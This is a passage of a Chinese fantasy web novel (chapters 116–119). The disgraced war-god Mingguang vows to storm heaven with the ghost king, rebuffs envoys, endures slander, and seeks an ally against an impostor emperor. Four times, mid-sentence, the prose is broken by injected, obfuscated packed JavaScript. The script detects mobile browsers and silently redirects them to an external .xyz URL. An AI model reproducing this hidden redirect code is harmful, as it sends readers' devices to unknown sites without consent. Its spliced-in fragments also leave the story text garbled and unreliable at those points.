“明光,恭喜你收回仙剑,变回原貌。接下来你打算怎么着手调查当年的事?帝君已经吩咐过,如果你有需要我可以暗中协助。” 郦子微格外加重语气强调了最后一句话,因为这句话代表着紫衡帝君英昊愿意相信明光的态度。 对于一个含冤莫白的人来说,这样的信任很容易令他心生感激。 “查什么查,三百年前的事现在哪里查得清?我才懒得费那个劲呢。” 明光不按牌理出牌的漠然反应,让郦子微出乎意料地又怔了一下。 “那……你是打算认下这笔烂账,继续被冤枉下去?你甘心吗?” “当然不甘心,这笔烂账既然甩不掉,那我又何必白白被冤枉?所以第二件事就是正式通知你们,我决定联手新任鬼王应长恨,找机会带着鬼军攻上天界大闹一场。当年那些仙官们是怎么给我定罪的,我就怎么犯给他们看,也算没有枉担了这个罪名。” 郦子微目瞪口呆,做梦也没想到明光居然会做出这样的选择——不但丝毫不接受帝君的有意示好与安抚,而且还要扭头加入鬼王的阵营来对抗天界。 “你……不是……说真的吧?” 一向口齿流利的郦子微,难得的有些结巴起来。 看着他难以置信的神色,明光似笑非笑地反问道:“为什么不是?我反正都已经被扣上了这种罪名,干脆坐实它也就不算冤枉了,心理也能平衡多了。” “可是……你……不像是这种人啊?” “是吗?当年在云间仙境,几乎所有仙官都众口一词地咬定我狼子野心,想要犯上作乱。那时候,郦仙郎你可没说过我不像这种人呢!” 明光毫不客气地刺了郦子微一句,他哑然着说不出话来。 当年那种墙倒众人推的局面,他又何必为了一个明光得罪那么多仙僚?自然是事不关己高高挂起。 “不管我以前是什么样的人,现在都已经变了。郦子微,今天约你见面,就是为了特此声明这一点——我才不会等着帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629242|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君的恩典被召回天界,我会自己打回去。” 明光一番话说得并不凶狠,甚至还带着一丝微笑,仿佛只是在开玩笑。 但是郦子微知道,这绝对不是什么玩笑话,而是他在正式对云间仙境下战书。 . 自步云山返回云间仙境后,郦子微不敢耽误地直奔紫衡殿,对紫衡帝君英昊禀报自己刚刚得知的重磅消息。 明光能捞回移魂枕在英昊的预料之中,但是他能直接利用移魂枕收回仙剑日月明却在意料之外。 等到听说明光扬言要与应长恨联手进攻云间仙境时,英昊都无法不神色一变。 “什么?明光要勾结应长恨打上天界,他真这么说的?” “帝君,千真万确,他就是这么跟我说的。” “你觉得他是在说真的还是说气话?” “帝君,我感觉不像是气话,他是真打算这么干。今天约我见面,就是为了正式下战书。” “岂有此理,我都愿意相信他当年是蒙冤的,他现在却要给我来个彻底反了,这小子到底怎么想的?” 郦子微摇头道:“我也不知道,明光如今行事根本就不按常理出牌,让人完全摸不着路数。” 以前的明光虽然一身傲气难以亲近,却是那种七情上脸毫无城府的人,就像一泓清澈得能让人一眼看见底的泉水。 如今的明光容颜未改,乍看还是清澈无垢的少年模样,骨子里却像完全换了一个人。 如同清泉被酿成了白酒,看似依然是干净透明的水,喝上一口却是能够辣喉咙的酒。 英昊沉吟不语,眸底闪过一丝不易察觉的懊恼。 早知道明光能直接利用移魂枕收回仙剑,还打算跟天界彻底撕破脸闹翻,自己真不应该指点他去打捞这一法宝。 现在非但不能让明光献上移魂枕来换取自己的鼎力支持,反倒还要引发一场仙鬼大战。 “传令下去,即刻将云间仙境的防卫级别提至最高,以防有敌来犯。” 明光能从妖身变成神兽仙禽一类,就说明他曾经混入过云间仙境,哪怕这一点再怎么不可能也只能是唯一的事实。 还是一介妖怪就能神不知鬼不觉地混进来,更遑论他如今还有移魂枕在手。如果不把防卫级别提到最高,明光其人就更加防不胜防了。 . 遭贬三百年来,一身黑料的明光,依然是许多仙官唾弃的对象。 如今他彻底黑化倒向无间鬼域,扬言要联合新任鬼王应长恨一起杀回天界,这一消息在云间仙境传开后,诸仙官更是把他骂得狗血淋头。 “就知道这家伙不是什么好鸟,果不出其然。当年没能成功的事,他如今竟又勾结新鬼王要再来一次,真是狗改不了吃屎啊!” “早知如此,三百年前就应该直接杀了他,而不是贬下凡。这下好了,简直就是放虎归山。” “当年的事毕竟没有直接证据,只能贬谪不能处死。否则此例一开,大家都得人人自危,不是吗?” 116.万仞山 处死是最严重的刑罚,如果没有直接证据就能坐实一个人的罪名并处死,对天界所有仙官来说都不是什么好事,这一点大家还是能达成共识了。 “是啊,华源真君开了畜生道,已经是暗中摆了明光一道。原本沦为畜生的修行之路十分不易,没想到才三百年的功夫,他就能卷土重来,也真是厉害呢!” “有一说一,在修真方面,明光确实是天纵奇才。” “这小子再有才又如何,他缺德啊!德行跟不上,才华也只是用来作恶罢了。” “这倒也是,这样天纵奇才的人物,却因为野心勃勃一再犯上作乱。如今还彻底不要脸了,干脆直接改投鬼王阵营准备攻打天界,简直可恶之极。” “就是有一点我始终想不明白,明光为什么能先后说服两任鬼王跟他合作?他到底承诺了他们什么好处啊?” “这点我也觉得奇怪,上回江天旷潜入天界行刺帝君,事成后明光固然可以受益,但是鬼王又能从中捞到什么好处呢?这回应长恨居然又上了他的贼船,到底是哪里有利可图了?” “虽然不清楚为什么,但明光手里一定握有可以吸引两位鬼王的重要筹码,才能让他们答应合作,只是咱们局外人弄不懂了。” “弄不懂就别想了,咱们还是先关心另一件事吧。如果明光真应长恨一起带着鬼军杀回来,云间仙境会不会迎来一场浩劫?” 这个问题让原本喋喋不休的诸位仙官都沉默下来,谁也不知道该怎么回答。 . 一直以来,云间仙境作为神仙云集的地方,从来没有什么妖魔鬼怪敢跑来砸场子,那样跟找死没区别。 这是破天荒地头一回,有妖鬼宣称要打上天界大闹一场,如此不把天地间至高权威的神仙们放在眼里。 如果只是普通的妖鬼不自量力地说出这种话,神仙们只要当笑话听就行了。 但是明光这样来历不凡的妖,再加上应长恨那位实力非凡的鬼王,他们的强强联手注定会是令人头疼的存在。 有位仙官定定神道:“怎么可能?云间仙境是什么地方,无间鬼域的人马想要杀上来谈何容易。” “是啊,我们的武神也不是吃素的,他们敢来就等着受死吧!” “没错,天界武神个个法力高强,难道还会斗不过无间鬼域那帮乌合之众吗?” “如果只是鬼军来犯也就罢了,问题是还有明光啊!当年在天界武神中,他可是排在首位的佼佼者。” “当年是当年,现在是现在。明光如今只是一个修为才三百年的妖,就算他天纵奇才,能在如此短的时间内就修成大妖,想要对抗武神也不是那么容易的。” “话说如今天界最强的武神,应该算是华源真君了吧?” “没错,太玄真君当年与江天旷交战时被鬼火灼伤了丹府,至今未曾痊愈,还得继续养着。而这三百年来华源真君一直相当进取,去年在东海斩杀巨鼋妖更是让他的香火空前旺盛。如今的天界武神中无人能出其右,法力自然也就不俗。” “这么看来,鬼军如果真的攻上天界,华源真君与明光之间恐怕会有一战。以前他被明光压得死死的,这回应该能打一次翻身仗了吧?” “应该没有问题。以前都是武神时,他的实力不如明光也就算了。如今……” 聚在一起高谈阔论的诸位仙官,习惯性地又把越君朴和明光相提并论。不过说这话的仙官突然顿住了,脸上挤出一个尴尬万分的假笑。 “华源真君,你怎么来了?” 以往听到这种拉踩式的比较时,越君朴总是憋着一肚子闷气避开,再怎么不爽也不愿意跟人起争执,觉得那样会显得自己很没修养。 不过这次他却没有选择回避,而是直接走进这群好扯闲话搬弄是非的仙僚中间。 因为在他的脑子里,不受控制地荡响了一个声音——要是被我听见这种拉踩式的比较,我一定冲过去怼死他们。 “你们几个文神是不是太闲了?我们武神的实力如何,轮得到你们这些外行来评价吗?嘴巴太闲就去把马桶舔一舔,也算是干点正经事。” . 无间鬼域的入口,在剑南一带荒无人烟的万仞山。 这是一座草木不生的石山,到处遍布尖锐锋利的岩石,如同无数柄出鞘的刀剑,故此名曰万仞山。 凡人根本无法登山,稍有不慎就是遍体鳞伤。 夜色深浓的万仞山,锋锐如刀剑的岩石在月光下闪烁着凛凛寒光,令人望而生畏。 明光却宛如闲庭信步一般,轻轻松松就上了山顶,仰望着天空中那弯新月欣赏起来。 明月与繁星镶嵌的墨蓝夜空中,悄然出现了一队驾云而来的人马。领头那道惊鸿艳影,属于太清元君温且惠。 明光扬言要联合新任鬼王打上天界后,帝君英昊召来诸仙官商议对策。温且惠在殿上主动请缨,提出自己想下凡一趟去找明光劝和。 如果说云间仙境有哪位神仙能在明光那儿说得上话,那就非温且惠莫属了。 毕竟当年事发后,其他仙官要么众口一词地抨击明光,要么保持沉默,唯有她出面替他说过几句好话。 虽然不知道温且惠的劝说是否能成功,但试上一试也未尝不可。诸仙官都纷纷赞成,英昊也同意她去跑上一趟。 “太清元君,好久不见。” 明光含笑跟温且惠打招呼,她裙袂翩飞地飘落于他身前,玉骨冰肌,霞姿月韵,是天界神女独有的超凡脱俗的美。 “明光,三百年不见,真是好久了呢!” 温且惠定定地注视着明光,神色温和,声音温柔,唇角一弯弧度优美的浅笑令人如沐春风。 “是啊,一别已是三百年,太清元君你还是老样子,一点也没变。” “明光,你看起来也还是老样子,不过这三百年里应该吃了不少苦,心境肯定不一样了。” “没错,已经完全不一样了。太清元君, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654638|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我约在这个地点这个时间见面,你居然也敢来,就不怕我抓了你当人质吗?” 温且惠莞尔一笑,“怕就不来了。明光,无论你现在变了多少,我都相信你绝对不会为难一个女人。” 之前得知温且惠想见自己一面后,明光虽然同意和她见面,时间地点却选在三更时分的万仞山,这让不少仙官心里犯嘀咕。 万仞山是无间鬼域的入口所在地,换而言之等同鬼界的大门。鬼王应长恨随时可以率领人马闯出门外,上演一幕捉仙甚至是诛仙戏码。 就连英昊都说了“此行恐怕会有危险”之类的话,但温且惠却坚持自己的想法不变。 “帝君请放心,我相信明光不会那么对我的。” “既然太清元君一定要去,那我就多安排些人陪你过去,总之一定要护你周全。” 就这样,温且惠在一队天兵天将的护送下来到了万仞山,率领这帮人马的武神是冲元真君檀绍。 在天界武神中,檀绍虽是新晋,但是锋头甚劲。 这位年轻有为的仙官目前正处于人生的新赛道,铆足了劲想要干出一番新成绩。 护送温且惠来万仞山与明光见面,在某些人看来是苦差。檀绍却主动请缨揽下了这桩差事,并十分瞧不起那些掂轻怕重的同僚。 . 明光与温且惠交谈时,檀绍就站在不远处,神色高度警惕地注视着他的一举一动,右手一直按在腰间仙剑的剑柄上。 三百年前,灵曜天君明光不但是云间仙境最年轻的仙官,也是实力最强悍的武神。 三百年后,就算他已经沦为不入流的妖怪,依然是令人不敢小觑的对象。 尤其眼下还是在万仞山这个鬼地方,明光背靠无间鬼域这股大势力,随时可能有强力助攻上场,檀绍才不会犯大意轻敌的毛病。 瞥了如临大敌的檀绍一眼,明光一副熟络的语气笑道:“檀仙郎,又见面了!” 怔了一下后,檀绍脱口而出地问道:“我们之前见过吗?” “嗯,之前在尚湖和你照过一次面,有幸目睹了阁下的风采,真是过目难忘啊!” 虞城尚湖——这个地点让檀绍恍然大悟,“原来你就是那个逃走的小妖,难怪速度那么快。威毅真君当时就疑心是你,他果然没有猜错。” “是啊,钟离斐猜对了,不过我可没什么奖励给他呢。” “我后来追去海禺山的山洞,也是与你失之交臂了吧?” “你来得不是时候,我正赶着要走,只能恕不奉陪了。” “这三百年里,你的其他功夫如何我搞不清楚,不过逃跑的本领显然是一绝。” 檀绍明明是在冷笑的挖苦,明光却是如遇知音似的一拍大腿。 “可不是嘛,这方面我称第二没人敢称第一,经验丰富得都能传道授业了。檀仙郎如果有需要来找我啊,我一定倾囊相授。” “荒唐,我堂堂天界武神,怎么可能会有这种需要?” 117.三人成虎 檀绍是那种锋芒毕露的性子,半点也不想给明光留面子,说出来的话刺耳得很。 温且惠在一旁听了感觉不妥,柔声道:“冲元真君,你少说两句吧!” 明光却一点也不愠怒,脸上的微笑丝毫未变,仿佛檀绍刚刚骂的人不是他是别人一样。 “檀仙郎,你说话这么难听,上完厕所后一定擦过嘴了吧?” 这种骂人不带脏话的话,檀绍怔了怔后才反应过来,顿时勃然大怒。 “你敢骂我?” “骂你怎么了?你骂了人家还不准人家骂回来吗?凭什么?就凭你是神仙?可惜我现在给谁面子都不给神仙面子。你要想继续打嘴仗我可以奉陪到底,而且肯定不会输给你。” 檀绍气得一把拔出自己的仙剑,脸红脖子粗地吼道:“打什么嘴仗,有本事直接动手,较量一番。” 温且惠此行是来劝和的,谁知明光三言两语就激得檀绍直接拔剑了,这事态发展可不妙呢。 “好了,你们一人少说一句吧!怎么火气这么大,说着说着就呛起来了!” 温且惠先把斗鸡般奓着毛的檀绍拉去一旁,低声道:“冲元真君,你可不是来跟明光较量的,我还有正事要跟他说呢,你且等在这儿消消气啊!” 走回明光身边后,她歉然一笑道:“不好意思明光,冲元真君年纪轻性子急,才会一时出言不慎,你就多包涵包涵吧!” “行啊,反正他说的那些话我已经听过无数次,早就麻木了。可以大人不计小人过,不跟他一般见识。” 温且惠开始进入正题,“明光,你真的决定了,要和鬼王应长恨一起进攻天界?” “嗯,决定了。这口恶气我憋了三百年,实在是咽不下去,一定要打上云间仙境出了它不可。” “可是明光,你想过没有,如果真这么做了,即使三百年前你是无辜蒙冤,这么一来可就彻底坐实了你犯上作乱的罪名。” “反正我不这么做也洗不白了,三百年前的事根本没法查清楚,与其枉担一个虚名,我不如干脆就这么干,至少心里头能痛快多了。” 明光的态度并不激烈,语气也很平和,声音中却透着一种毫无转圜的坚定。 温且惠还是努力劝说道:“明光,如果鬼军果真攻打天界,这场仙鬼大战将会导致三界不宁。你毕竟曾是庇护苍生的武神,你真想看到这种局面吗?” 无间鬼域要是跟云间仙境开战,仙鬼之间的战争也会涉及到人间凡界。 如果神仙们都要忙着应付鬼军,凡界信徒们的信香也就没人有功夫去管。倘若只是普通的祈愿也就罢了,可若是需要降妖伏魔之类的,那问题就大了。 当年皓宸帝君率军征伐无间鬼域,那场杀敌一千自损八百的惨胜,让天界武神凋零。 山中无老虎,猴子称大王。凡界的妖魔乘机出来为非作歹猛刷存在感,把百姓折腾得苦不堪言。 彼时要不是紫衡天君英昊接任帝君后,四处亲征斩妖除魔,想方设法稳住了局面,人间还不知道要乱上多久。 “太清元君,我不是武神已经很多年,庇护苍生不再是我的职责。不在其位不谋其政,这些问题就留给帝君去头痛吧!” 一瞬不瞬地注视着满脸无所谓的明光,温且惠轻声一叹。 “明光,你以前不是这样的。尚未飞升前,你就能为了阻止走蛟的洪水祸害百姓,不顾一切地独自跳入长江与之搏斗。如今你真要为了发泄自己的私愤而不顾百姓的死活吗?就算是天界的神仙们冤枉过你,百姓总没有比不起你的地方吧?” 明光唇角微微一动,露出一个况味复杂的冷笑。 “太清元君,你有所不知,在我遭贬下凡的三百年里,百姓中骂我的声音比天界那帮家伙更多,哪怕我曾经是他们顶礼膜拜的仙官也不例外。除了少年得志便狂妄自大想要取代帝君这种陈词滥调,他们还根据道听途说就给我安了不少莫须有的罪名。” “什么飞升之前,在无极宗横行霸道,仗着少主身份压迫师门子弟;什么飞升之后,为了保证自己的天君地位,明里暗里一直打击仙僚;还有更离谱的说法是我好色成性,动手动脚调戏过不少神女,其中就包括你太清元君。你说可笑不可笑?” 温且惠都听得神色一僵,“这真是从何说起?” “以前我不明白什么叫墙倒众人推,破鼓万人捶,现在可是深有体会。总之一个原本站在高处的人只要垮了台,什么脏水都可以向他身上泼,什么罪名都可以往他头上扣,哪怕再荒唐的说辞都有人信。理由是空穴来风未必无因,既然大家都这么说,那就说明你这人有问题。这种逻辑好像很有道理似的,可三人成虎就是这么来的。” 冷笑连连地说完这番话后,明光漠然又道:“所以太清元君,你不必再劝我了。我如今百无禁忌,已经横下心要一条黑巷走到底。” . 墨蓝夜空中,温且惠一行人驾云而去的影子已然飘远,宛如一行雁影向天横。明光依然伫立于万仞山顶,身旁多了应长恨的人影。 明光之所以选择在万仞山和温且惠见面,并不是想要对她不利,而是为了保障自身的安全。 毕竟那位“紫衡帝君”一点也不可信,要是趁机设下圈套埋伏人马把他抓了甚至是杀了,那接下来可就没戏唱了。 明光能保证自己和应长恨都不会害温且惠,但天界那边却有可能对他动手。所以万仞山就成了最具安全系数的见面地点,没有之一。 尽管如此,应长恨都还是不太放心,以鬼王之尊亲自守在半山腰当保镖。只要情况不对,随时准备拔刀砍人。 “阿难哥哥,为什么天界的仙官那么多,那个死蛇精却偏偏派太清元君下凡来劝你?让她一介女流之辈冒这样的风险来到万仞山,陆衢难道也没有意见吗?” “这方面他们都放心的。因为当年我被质疑与江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680693|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天旷合谋犯上作乱时,只有太清元君替我说过话。” “是吗?那太清元君的心肠真是好呢!听说江天旷当时虽然死在了陆衢手里,却也伤得他不轻。而她非但没有迁怒于你,还肯出面替你说话,这心胸格局比绝大多数男人都要强。” “是啊,其他仙官都恨不得踩死的时候,唯独她肯相信我与此事无关。冲着这份难得可贵的信任,我如今也不可能会把她怎么样。” “嗯,有仇必报,有恩必偿。阿难哥哥,将来打上云间仙境后,我也一定不会允许任何人伤害太清元君的。” “很好,我亦有此意。” “太清元君好心来劝你也就罢了,那个姓檀的家伙看上去真是欠揍讨打。如果不是你说别对他们动粗,我真想用风雷怒好好招呼一下他。” 应长恨一脸忿然,明光却微笑道:“你犯不着费那个力气。檀绍年轻气盛,我怼上几句就能气到他跳脚,估计已经怄出内伤了。” 以前,明光在牙尖嘴利方面并不擅长。 然而,过去三百年的经历重新塑造了他。曾经宁折不弯的少年仙官,如今变得能屈能伸。 形势比人强的时候,他该服软服软、该认怂认怂,半点都不会含糊。 腰杆子能硬起来的时候,他怼人和撕人也是一把好手,半点都不会吃亏。 虽然清楚明光并没有吃亏,但应长恨还是愤愤不平。 “阿难哥哥,我知道,这三百年来你一定受了很多窝囊气。现在有我在,谁也不能再给你气受,哪怕是天界的神仙也不行。” 明光笑嘻嘻地拍着应长恨的肩膀道:“阿难弟弟,如今有了你这座大靠山,我感觉自己可以在三界横着走了。” 应长恨听得心头一酸,“很久以前,你就已经是能在三界横着走的灵曜天君了。” “好汉不提当年勇,现如今你的名头要比我响亮多了。要不是我说会勾结你一起打上天界,就凭一个妖怪空口白牙地说大话,玉京子才不会当作一回事呢!” “能打发太清元君下凡来找你劝和,这个死蛇精看来是真的很不想跟无间鬼域开战。” “那是自然,一旦开战,他身为帝君岂能置身事外?还得身先士卒才行。可他毕竟不是英昊,外表虽然一模一样,但英昊称霸三界的剑术与法术他顶多只能学个皮毛,一上战场就要露馅不可。” 应长恨冷笑道:“难怪当年江天旷都杀上天界了,他还惺惺作态地说什么首恶已伏、胁从不问,其实是根本不敢让事态升级,那样只会暴露出他是一个冒牌货。” “两千年前的那场仙鬼大战,让紫衡帝君英昊轻易不愿跟无间鬼域再启战端。玉京子冒充他后,继续沿袭这一规则合情合理,没人觉得不对,也就被他混过去了。” “可是现在要不要开战却由不得他了。阿难哥哥,等咱们打上云间仙境后,当众撕下这死蛇精的假面具,让大家好好瞧瞧他的真面目。” 118.麻木 云间仙境,玄清殿。 东侧殿的书房中,陆衢手持画笔独坐桌前,对着案上清供的几枝碧桃花泼墨挥毫,一幅花色喜人的桃花图已然基本完成了。 一阵珠帘轻响,伴着莲步姗姗,是温且惠掀帘走入殿中。 “惠娘,你回来了,一切都顺利吧?” 陆衢立刻搁下画笔走上前迎接,牵着妻子的手一起在长榻上坐下来说话。 “嗯,很顺利,明光对我非常客气,一直以礼相待。不过我劝他的那些话,都被他当作耳旁风了。” “这很正常,他从一介神仙沦落到如今这种地步,想要彻底发疯大闹一场一点儿也不奇怪。他要是肯听你的劝,我反倒要觉得奇怪了。” “是啊,过去的三百年让他改变了很多,性子和以前完全不一样。除了容貌还是熟悉的样子,他整个人都让我觉得陌生。” 温且惠把自己与明光见面的过程细说了一遍,陆衢听得很认真。 “以前的明光从来不会逞口舌之快,如今他在这方面居然还挺厉害。檀绍被他三言两语就气得失了分寸,差点把劝和变成了引战。要不是我及时阻止,恐怕当场就要打起来了。” “虽然当场没有打起来,但这一战看来是避免不了了。惠娘,你劝说无果,向帝君禀报时他是何反应?” “帝君倒是没有说什么,不过脸色有些难看。” 陆衢了然地道:“云间仙境与无间鬼域的和平局面一旦被打破,帝君少不了要披挂上阵御驾亲征。当年皓宸帝君就是因为仙鬼大战神陨的,帝君如果不想重蹈覆辙,自然就要尽量避免战事重启。所以那天召集人马去紫衡殿议事时,他有意无意地暗示你出面劝说明光。你白跑一趟,他心愿落空,脸色当然不会好看。” 那日在紫衡殿议事,陆衢和温且惠都听懂了英昊有意让她前去劝说明光。 虽然夫妻二人完全可以装傻充愣,却在彼此的对视中心领神会,于是有了温且惠的主动请缨。 “我已经尽力了,帝君也不能责怪我。明光这三百年来吃尽苦头,如今满心怒气想要报复,岂是我说上一车话就能平息的,对吧?” “对,当年是帝君要贬他下凡的,冤有头债有主,如今他的满腔怒火,也只能由帝君自己去承担。” “五郎,还好你旧伤未愈,否则这场仙鬼大战一旦打起来,你也得跟在帝君身旁鞍前马后的效力。” “可不是嘛!我旧伤未愈不能上战场,只能让其他人去协助帝君对抗鬼军了。” 陆衢露出一个十分愉悦的笑容,这一战对英昊来说是棘手的麻烦事,对他来说却是一个大好机会。 如果紫衡帝君步皓宸帝君的后尘,在仙鬼大战中神陨了,那么他作为帝君之下数一数二的资深大仙官,就能更上一层楼问鼎帝君宝座。 如果由其他仙官来坐这个位子,明光那边一定还不肯善罢甘休。但陆衢是温且惠的丈夫,而她是当年云间仙境中唯一给予过他信任的仙官。 到那时,温且惠再出面找明光说说好话,从中斡旋一番,化干戈为玉帛想来也不是什么难事。 “五郎,看来你有机会当帝君了呢!” 温且惠看着陆衢嫣然一笑,他握紧她的柔荑深情又霸气地道:“惠娘,我若成了太玄帝君,你就是太清王母——你我将平起平坐,一起成为天界的双圣。” . 天下没有不透风的墙,无间鬼域向云间仙境宣战的消息,在人间凡界也传出了一点风声。 仙鬼大战对三界都不是什么好事,修真人士为此深感不安。而一手挑起这场战争的明光,再次成为万人唾骂的对象。 越城的一家酒楼中,一帮修士就坐在一起把明光骂得狗血淋头。 有人义愤填膺: “这个明光简直太不是东西了!三百年前勾结江天旷犯上作乱失败了,如今竟又勾结上了应长恨想再来一遍。只因他的一己私欲,搅得三界不得安宁。什么谪仙啊,简直就是魔头好吧!” 有人愤愤不平: “也不知道这家伙当年是怎么得道成仙的,所作所为没有半点得道高人的风范,而是一派利欲熏心,为了达到自己的目的不择手段。” 有人扼腕叹息: “明光当年能霞举飞升,是因为凭一己之力阻止了走蛟,保住了长江流域两岸百姓的家园。那时候他还是心怀天下苍生的少年英雄,后来也不知怎么就失了初心。” 有人深表怀疑: “有道是三岁看大七岁看老,像明光这样如此利欲熏心不择手段的人,初心就不可能会是好的。当年真的是他阻止了走蛟吗?该不会是冒领了他人的功劳吧?” 虽然只是一种毫无根据的揣测,却立刻有个穿葛袍的修士深以为然地脑补起来。 “搞不好还真是呢!毕竟当年明光与蛟妖是在水下搏斗,也没有人看见。彼时他是无极宗的少主,完全可以召来一帮无极宗的高手暗中下水协助,只要不被别人知道就行了。等到斩蛟成功后他再独自飞出水面,假装是自己凭一己之力阻止了走蛟。就这样,天赋异禀的修真奇才炼成了!不但受到了百姓感激涕零的膜拜,甚至还因此霞举飞升成为神仙。” 在各种流言和谣言中,阴谋论一向最有市场。 一些造谣式发言凭借看似合理的逻辑链,在毫无证据的情况下就能让不少人深信不疑。 “这位道友说得很有道理呢!如此看来,明光当年的力阻走蛟肯定有猫腻。” “没错,一定就是这样。他所谓的一人一剑力阻走蛟,其实是无极宗诸多高手暗中配合他搞定的。谁让人家有个当宗主的亲爹,一声令下莫敢不从。” “我就奇怪他一个十八岁的少年怎么会有这等能耐,别人修炼了几十年都不如他法力高强,一个人就能斩蛟成功。敢情是这么一回事,全靠有个好爹爹为他保驾护航。” “靠,我要是像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710746|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一样会投胎,有个天下第一修真门派的少主身份,现在搞不好也成神仙了。” “我还一直以为我不如他是天赋不够,却原来是拼爹拼不过人家啊!” 不过片刻功夫,一段无中生有的脑补,就被人说得煞有介事,比真的还要真了。 有的人是头脑简单,听见什么就信什么;有的人是看热闹不怕事大,很乐意跟着起哄推波助澜。 还有的人就是存心恶意抹黑,哪怕他们与明光并不相识也无过节。 因为这个天纵奇才的少年,曾经站在所有人只能仰望的高处,令一些身居低位的人无法不羡慕嫉妒恨。 这样的羡慕嫉妒恨,当明光高高在上时无从发泄,但是在明光神台坍塌后,就宛如无数条毒蛇从暗处游出来,呲着毒信尽情噬咬。 而且他们还是站在道德制高点上,对一个“利欲熏心不择手段”的坏人加以抨击,更是没有半点心理负担。 . 这帮信口雌黄的修士坐在一起乱喷一气时,丝毫不知道被他们肆意诋毁的那个人,就在酒楼二楼的雅座里坐着。 明光不是一个人,他对面端坐着神色错综复杂的越君朴。 楼下传来的那些恶意揣测,听得越君朴都无法不皱眉,明光却是一派若无其事。 “这些人这样胡说八道,你怎么一点也不生气?” “因为听得太多已经麻木了。如果每次听到有人造我的谣都要生气,我早就被气死八百回了。” 顿了一下后,明光又不无感慨地苦笑着摇头。 “不过话又说回来,这些造谣者的创新能力也是真强呢!我还以为自己不可能再被扣上什么新罪名了,没想到他们又带来了‘惊喜’。今天这类谣言我以前都没听过,亏了他们能说得这般煞有介事。如果我不是我,我都要信了自己当年斩妖之事有猫腻。” 越君朴下意识地问道:“你被扣过多少罪名啊?” “太多了,只有你想不到的,没有他们编不出来的。在造谣这方面,估计没人比我更有见识了,我要是跟你细说能说上三天三夜。算了,不扯这些了,你今天约我见面有更重要的事,先说那个吧。” 上一次在太平岛意外见到越君朴时,明光没有急着跟他清算旧债,反倒把自己对“紫衡帝君”的怀疑告诉了他。 越君朴无比震惊,“什么?这怎么可能?你是不是看错了?” “我和应长恨两个人四只眼睛都看见了,水鬼铜棺将军不但跟帝君撞了脸,还撞了头顶双旋这一特征,绝对错不了。” 顿了一下后,明光又自嘲地一笑道: “当然,我们两个在神仙眼中都算不上可信证人,没准是狼狈为奸串通一气想要抹黑帝君。你如果不相信就当我没说过,我可以换个话题。” 越君朴当然不会轻易相信明光的话,毕竟他当年是被紫衡帝君贬下凡的,完全有理由为了报复英昊而无中生有的抹黑他。 119.合作 但是越君朴有一点想不通。 如果明光想要报复英昊,这种抹黑帝君的说辞为什么不大肆宣扬,而是私下告诉他呢?从某种意义上来说,他应该也是他的报复目标才对呀! “看你这一脸问号的样,想不通我为什么要把这件事告诉你是吧?” 越君朴下意识地摸了一下自己的脸,惊讶地反问道:“你怎么看出来我在想什么的?” “我如今察颜观色可是一把好手,而且你这个表情太好解读了!” 以前的明光从不察颜观色,因为他从小到大顺风顺水,既不需要看别人的脸色行事,也不用在意别人的想法意图。 然而小妖阿难却是妖生艰难,无论神仙还是修士都能得而诛之,甚至大妖也可以欺负小妖,他为了苟命必须解锁很多保命技能才行。 越君朴况味复杂地注视着明光,都不知道自己该说什么才好。 “我为什么要告诉你这件事,是因为那位帝君无论如何也想不到,我会对你透露这个秘密。毕竟你当年坑过我,他会觉得我找谁合作对付他都不可能找你。” 越君朴满脸意想不到的神色,“你想让我跟你合作对付帝君?” 明光强调道:“错了,不是对付帝君,而是对付假冒英昊坐在帝君宝座上的蛇精玉京子。当然我现在口说无凭,你没理由信我。这样吧,等你回云间仙境好好观察一下他再做决定。” 将信将疑的越君朴默认了这一提议,离开前,他又踌躇回首看着明光发问道:“为什么你要找我合作?而不是找我算账。” “越君朴,因为你的品性并不坏。虽然为人处世的格局小了点,但在大是大非面前,我相信你绝对不会掉链子。” 